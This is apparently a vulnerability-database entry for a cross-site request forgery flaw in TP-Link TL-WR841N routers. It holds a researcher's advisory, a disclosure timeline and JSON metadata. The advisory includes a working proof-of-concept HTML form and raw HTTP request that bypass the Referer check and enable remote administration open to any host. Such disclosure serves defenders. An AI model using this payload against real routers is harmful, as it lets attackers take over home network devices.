var-201807-1265
Vulnerability from variot

CSRF exists for all actions in the web interface on TP-Link TL-WR841N v13 00000001 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n devices. TP-Link TL-WR841N Contains a cross-site request forgery vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The TP-LinkTL-WR841Nv13 is a wireless router device. TP-LinkTL-WR841Nv13 has a cross-site request forgery vulnerability, and an attacker can perform arbitrary operations on behalf of the authenticated user. * Vulnerability: Cross-Site Request Forgery * Affected Software: TP-Link TL-WR841N v13 * Affected Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n * Patched Version: None * Risk: High * Vendor Contacted: 05/20/2018 * Vendor Fix: None * Public Disclosure: 06/27/2018

Overview

The web interface of the router is vulnerable to CSRF.

CVSS

High 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Details

The protection mechanism that is in place against CSRF checks if the given "referer" header starts with "192.168.0.1". If it does, the request is accepted.

An attacker can bypass this mechanism by prepending their domain with this string. For example, the malicious HTML and JavaScript code could be hosted at "192.168.0.1.example.com". Alternatively, an attack could originate from a different IP in the internal network, eg "192.168.0.11".

Proof of Concept

Enable remote access:

<html>
  <body>
    <form action="http://192.168.0.1/cgi?2&2" method="POST"

enctype="text/plain">

The code would be hosted at a subdomain which starts with "192.168.0.1", eg "192.168.0.1.example.com".

Request
POST /cgi?2&2 HTTP/1.1
Host: 192.168.0.1
User-Agent: [...]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1.example.com/csrf.html
Content-Type: text/plain
Content-Length: 147
Cookie: Authorization=Basic [...]
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

[HTTP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2
httpRemoteEnabled=1
httpRemotePort=7777
[APP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,1
remoteHost=255.255.255.255

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Connection: close
Content-Length: 8

[error]0
Solution

The vendor did not fix the issue.

Users of the product can try to mitigate the issue by not visiting other websites while being signed into the web interface and signing out as soon as possible. Additionally, various browser plugins can be used to try to defend against attacks.

Timeline
  • 05/20/2018 Requested email address via contact form (no response)
  • 05/24/2018 Send advisory to security@tp-link.com asking for confirmation, set disclosure date (no response)
  • 06/01/2018 Asked for confirmation at support.usa@tp-link.com
  • 06/04/2018 Vendor confirmed receipt of advisory
  • 06/12/2018 Requested Status Update
  • 06/14/2018 Vendor claims they never received advisory
  • 06/14/2018 Resend advisory asking for confirmation (no response)
  • 06/18/2018 Reminded vendor of disclosure date (no response)
  • 06/18/2018 Requested CVE
  • 06/19/2018 CVE assigned
  • 06/27/2018 Disclosure

-- PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0xFD8E2B9091A24C75

Show details on source website

To clipboard 

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-201807-1265",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "tl-wr841n",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "tp link",
        "version": "0.9.1_4.16"
      },
      {
        "model": "tl-wr841n",
        "scope": null,
        "trust": 0.8,
        "vendor": "tp link",
        "version": null
      },
      {
        "model": "tl-wr841n build rel.65243n",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "tp link",
        "version": "v130.9.14.16v0001.0180119"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-12359"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-007724"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201807-066"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-12574"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "cpe_match": [
              {
                "cpe22Uri": "cpe:/o:tp-link:tl-wr841n_firmware",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-007724"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Tim Coen",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "148349"
      }
    ],
    "trust": 0.1
  },
  "cve": "CVE-2018-12574",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "PARTIAL",
            "baseScore": 6.8,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 8.6,
            "id": "CVE-2018-12574",
            "impactScore": 6.4,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 1.8,
            "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "CNVD-2018-12359",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 0.6,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULHUB",
            "availabilityImpact": "PARTIAL",
            "baseScore": 6.8,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 8.6,
            "id": "VHN-122547",
            "impactScore": 6.4,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 0.1,
            "vectorString": "AV:N/AC:M/AU:N/C:P/I:P/A:P",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "nvd@nist.gov",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 2.8,
            "id": "CVE-2018-12574",
            "impactScore": 5.9,
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 1.8,
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2018-12574",
            "trust": 1.0,
            "value": "HIGH"
          },
          {
            "author": "NVD",
            "id": "CVE-2018-12574",
            "trust": 0.8,
            "value": "High"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2018-12359",
            "trust": 0.6,
            "value": "HIGH"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201807-066",
            "trust": 0.6,
            "value": "MEDIUM"
          },
          {
            "author": "VULHUB",
            "id": "VHN-122547",
            "trust": 0.1,
            "value": "MEDIUM"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-12359"
      },
      {
        "db": "VULHUB",
        "id": "VHN-122547"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-007724"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201807-066"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-12574"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "CSRF exists for all actions in the web interface on TP-Link TL-WR841N v13 00000001 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n devices. TP-Link TL-WR841N Contains a cross-site request forgery vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The TP-LinkTL-WR841Nv13 is a wireless router device. TP-LinkTL-WR841Nv13 has a cross-site request forgery vulnerability, and an attacker can perform arbitrary operations on behalf of the authenticated user.   * Vulnerability: Cross-Site Request Forgery\n  * Affected Software: TP-Link TL-WR841N v13\n  * Affected Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n\n  * Patched Version: None\n  * Risk: High\n  * Vendor Contacted: 05/20/2018\n  * Vendor Fix: None\n  * Public Disclosure: 06/27/2018\n\n##### Overview\n\nThe web interface of the router is vulnerable to CSRF. \n\n##### CVSS\n\nHigh 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n\n##### Details\n\nThe protection mechanism that is in place against CSRF checks if the\ngiven \"referer\" header starts with \"192.168.0.1\". If it does, the\nrequest is accepted. \n\nAn attacker can bypass this mechanism by prepending their domain with\nthis string. For example, the malicious HTML and JavaScript code could\nbe hosted at \"192.168.0.1.example.com\". Alternatively, an attack could\noriginate from a different IP in the internal network, eg \"192.168.0.11\". \n\n##### Proof of Concept\n\nEnable remote access:\n\n\t\u003chtml\u003e\n\t  \u003cbody\u003e\n\t\t\u003cform action=\"http://192.168.0.1/cgi?2\u00262\" method=\"POST\"\nenctype=\"text/plain\"\u003e\n\t\t  \u003cinput type=\"hidden\"\nname=\"\u0026#91;HTTP\u0026#95;CFG\u0026#35;0\u0026#44;0\u0026#44;0\u0026#44;0\u0026#44;0\u0026#44;0\u0026#35;0\u0026#44;0\u0026#44;0\u0026#44;0\u0026#44;0\u0026#44;0\u0026#93;0\u0026#44;2\u0026#13;\u0026#10;httpRemoteEnabled\"\nvalue=\"1\u0026#13;\u0026#10;httpRemotePort\u0026#61;7777\u0026#13;\u0026#10;\u0026#91;APP\u0026#95;CFG\u0026#35;0\u0026#44;0\u0026#44;0\u0026#44;0\u0026#44;0\u0026#44;0\u0026#35;0\u0026#44;0\u0026#44;0\u0026#44;0\u0026#44;0\u0026#44;0\u0026#93;1\u0026#44;1\u0026#13;\u0026#10;remoteHost\u0026#61;255\u0026#46;255\u0026#46;255\u0026#46;255\u0026#13;\u0026#10;\"\n/\u003e\n\t\t  \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n\t\t\u003c/form\u003e\n\t  \u003c/body\u003e\n\t\u003c/html\u003e\n\nThe code would be hosted at a subdomain which starts with \"192.168.0.1\",\neg \"192.168.0.1.example.com\". \n\n##### Request\n\n\tPOST /cgi?2\u00262 HTTP/1.1\n\tHost: 192.168.0.1\n\tUser-Agent: [...]\n\tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n\tAccept-Language: en-GB,en;q=0.5\n\tAccept-Encoding: gzip, deflate\n\tReferer: http://192.168.0.1.example.com/csrf.html\n\tContent-Type: text/plain\n\tContent-Length: 147\n\tCookie: Authorization=Basic [...]\n\tDNT: 1\n\tConnection: close\n\tUpgrade-Insecure-Requests: 1\n\n\t[HTTP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\n\thttpRemoteEnabled=1\n\thttpRemotePort=7777\n\t[APP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,1\n\tremoteHost=255.255.255.255\n\n\tHTTP/1.1 200 OK\n\tContent-Type: text/plain; charset=utf-8\n\tConnection: close\n\tContent-Length: 8\n\n\t[error]0\n\n##### Solution\n\nThe vendor did not fix the issue. \n\nUsers of the product can try to mitigate the issue by not visiting other\nwebsites while being signed into the web interface and signing out as\nsoon as possible. Additionally, various browser plugins can be used to\ntry to defend against attacks. \n\n##### Timeline\n\n- 05/20/2018 Requested email address via contact form (no response)\n- 05/24/2018 Send advisory to security@tp-link.com asking for\nconfirmation, set disclosure date (no response)\n- 06/01/2018 Asked for confirmation at support.usa@tp-link.com\n- 06/04/2018 Vendor confirmed receipt of advisory\n- 06/12/2018 Requested Status Update\n- 06/14/2018 Vendor claims they never received advisory\n- 06/14/2018 Resend advisory asking for confirmation (no response)\n- 06/18/2018 Reminded vendor of disclosure date (no response)\n- 06/18/2018 Requested CVE\n- 06/19/2018 CVE assigned\n- 06/27/2018 Disclosure\n\n-- \nPGP Key: https://pgp.mit.edu/pks/lookup?op=get\u0026search=0xFD8E2B9091A24C75\n",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2018-12574"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-007724"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-12359"
      },
      {
        "db": "VULHUB",
        "id": "VHN-122547"
      },
      {
        "db": "PACKETSTORM",
        "id": "148349"
      }
    ],
    "trust": 2.34
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2018-12574",
        "trust": 3.2
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-007724",
        "trust": 0.8
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201807-066",
        "trust": 0.7
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-12359",
        "trust": 0.6
      },
      {
        "db": "PACKETSTORM",
        "id": "148349",
        "trust": 0.2
      },
      {
        "db": "VULHUB",
        "id": "VHN-122547",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-12359"
      },
      {
        "db": "VULHUB",
        "id": "VHN-122547"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-007724"
      },
      {
        "db": "PACKETSTORM",
        "id": "148349"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201807-066"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-12574"
      }
    ]
  },
  "id": "VAR-201807-1265",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-12359"
      },
      {
        "db": "VULHUB",
        "id": "VHN-122547"
      }
    ],
    "trust": 1.11731602
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "Network device"
        ],
        "sub_category": null,
        "trust": 0.6
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-12359"
      }
    ]
  },
  "last_update_date": "2024-08-14T15:07:54.987000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "Top Page",
        "trust": 0.8,
        "url": "https://www.tp-link.com/en/"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-007724"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-352",
        "trust": 1.9
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-122547"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-007724"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-12574"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.5,
        "url": "https://software-talk.org/blog/2018/06/tplink-wr841n-csrf-cve-2018-12574/"
      },
      {
        "trust": 0.9,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2018-12574"
      },
      {
        "trust": 0.8,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-12574"
      },
      {
        "trust": 0.6,
        "url": "http://seclists.org/bugtraq/2018/jun/61"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.0.1.example.com/csrf.html"
      },
      {
        "trust": 0.1,
        "url": "https://pgp.mit.edu/pks/lookup?op=get\u0026search=0xfd8e2b9091a24c75"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.0.1/cgi?2\u00262\""
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-12359"
      },
      {
        "db": "VULHUB",
        "id": "VHN-122547"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-007724"
      },
      {
        "db": "PACKETSTORM",
        "id": "148349"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201807-066"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-12574"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-12359"
      },
      {
        "db": "VULHUB",
        "id": "VHN-122547"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-007724"
      },
      {
        "db": "PACKETSTORM",
        "id": "148349"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201807-066"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-12574"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2018-06-29T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2018-12359"
      },
      {
        "date": "2018-07-02T00:00:00",
        "db": "VULHUB",
        "id": "VHN-122547"
      },
      {
        "date": "2018-09-21T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2018-007724"
      },
      {
        "date": "2018-06-28T23:38:15",
        "db": "PACKETSTORM",
        "id": "148349"
      },
      {
        "date": "2018-07-03T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201807-066"
      },
      {
        "date": "2018-07-02T16:29:00.443000",
        "db": "NVD",
        "id": "CVE-2018-12574"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2018-06-29T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2018-12359"
      },
      {
        "date": "2018-09-04T00:00:00",
        "db": "VULHUB",
        "id": "VHN-122547"
      },
      {
        "date": "2018-09-21T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2018-007724"
      },
      {
        "date": "2018-07-03T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201807-066"
      },
      {
        "date": "2018-09-04T16:13:23.520000",
        "db": "NVD",
        "id": "CVE-2018-12574"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201807-066"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "TP-Link TL-WR841N Vulnerable to cross-site request forgery",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-007724"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "cross-site request forgery",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201807-066"
      }
    ],
    "trust": 0.6
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.